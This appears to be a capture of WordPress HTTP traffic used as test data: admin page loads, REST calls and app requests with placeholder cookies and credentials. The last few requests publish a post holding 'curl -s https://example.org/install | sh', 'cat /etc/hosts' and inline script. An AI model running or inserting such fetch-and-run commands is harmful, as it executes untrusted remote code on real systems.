{"method": "GET", "target": "/wp-admin/edit-comments.php?p=1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/comment.php?action=editcomment&c=2", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203373"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=23&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203386"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 263", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203393"], "body": "data%5Bwp-check-locked-posts%5D%5B%5D=post-10&data%5Bwp-check-locked-posts%5D%5B%5D=post-16&data%5Bwp-check-locked-posts%5D%5B%5D=post-3&data%5Bwp-check-locked-posts%5D%5B%5D=post-2&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-page&has_focus=true"}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=24&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/botany-flowers-closeup.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/red-hibiscus-closeup.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/grid-flower-2.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/campanula-alliariifolia-flower.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/assets/images/delphinium-flowers.webp", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203394"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/template-parts/twentytwentyfive//header?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/template-parts/twentytwentyfive//footer?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?context=edit&offset=0&order=desc&orderby=date&per_page=3&ignore_sticky=false&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?context=edit&offset=0&order=desc&orderby=date&per_page=12&ignore_sticky=false&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/menus?context=view&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp-block-editor/v1/navigation-fallback?_embed=true&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/types/post?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/navigation?context=edit&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203398"], "body": ""}
{"method": "GET", "target": "/?customize_changeset_uuid=f8b37173-205c-47cb-8499-41107f2fbe14&customize_theme=twentytwentyfive&customize_messenger_channel=preview-0", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/customize.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203401"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/users/me/application-passwords?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 28", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/profile.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432"], "body": "{\"name\":\"Example phone app\"}"}
{"method": "GET", "target": "/wp-json/", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/posts?per_page=5&search=hello", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/posts", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "content-type: application/json", "content-length: 77", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": "{\"title\": \"From the app\", \"content\": \"<p>It's a test</p>\", \"status\": \"draft\"}"}
{"method": "GET", "target": "/wp-json/wp/v2/pages?slug=sample-page", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/users/me?context=edit", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/comments", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "content-type: application/json", "content-length: 102", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": "{\"post\": 1, \"content\": \"A note from the app\", \"author_name\": \"Bob\", \"author_email\": \"bob@example.com\"}"}
{"method": "GET", "target": "/?rest_route=/wp/v2/posts&per_page=2", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fblog.example%2Fhello-world%2F", "headers": ["user-agent: ExamplePublisher/1.0", "accept: */*", "accept-encoding: gzip,deflate,br", "Authorization: Basic ZWRpdG9yMTphYmNkIGVmZ2ggaWprbCBtbm9wIHFyc3QgdXZ3eA==", "cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203432", "Host: blog.example", "Connection: keep-alive"], "body": ""}
{"method": "GET", "target": "/wp-login.php?action=logout&_wpnonce=e9a74137b6", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203454"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/templates/twentytwentyfive//index?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 169", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": "{\"id\":\"twentytwentyfive//index\",\"content\":\"<!-- wp:template-part {\\\"slug\\\":\\\"header\\\"} /-->\\n\\n<!-- wp:paragraph -->\\n<p>Our opening hours.</p>\\n<!-- /wp:paragraph -->\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/template-parts/twentytwentyfive//header?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 170", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207357"], "body": "{\"id\":\"twentytwentyfive//header\",\"content\":\"<!-- wp:template-part {\\\"slug\\\":\\\"header\\\"} /-->\\n\\n<!-- wp:paragraph -->\\n<p>Our opening hours.</p>\\n<!-- /wp:paragraph -->\"}"}
{"method": "POST", "target": "/index.php?rest_route=%2Fwp%2Fv2%2Fposts%2F12&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 590", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207411"], "body": "{\"id\":12,\"title\":\"A guide to the plain address\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\",\"status\":\"draft\"}"}
{"method": "POST", "target": "/index.php?rest_route=%2Fwp%2Fv2%2Fposts%2F12&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 553", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=12&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207411"], "body": "{\"id\":12,\"status\":\"publish\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\"}"}
{"method": "POST", "target": "/index.php/wp-json/wp/v2/posts/14?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 590", "X-WP-Nonce: c799cf7667", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794207416"], "body": "{\"id\":14,\"title\":\"A guide to the index address\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\",\"status\":\"draft\"}"}
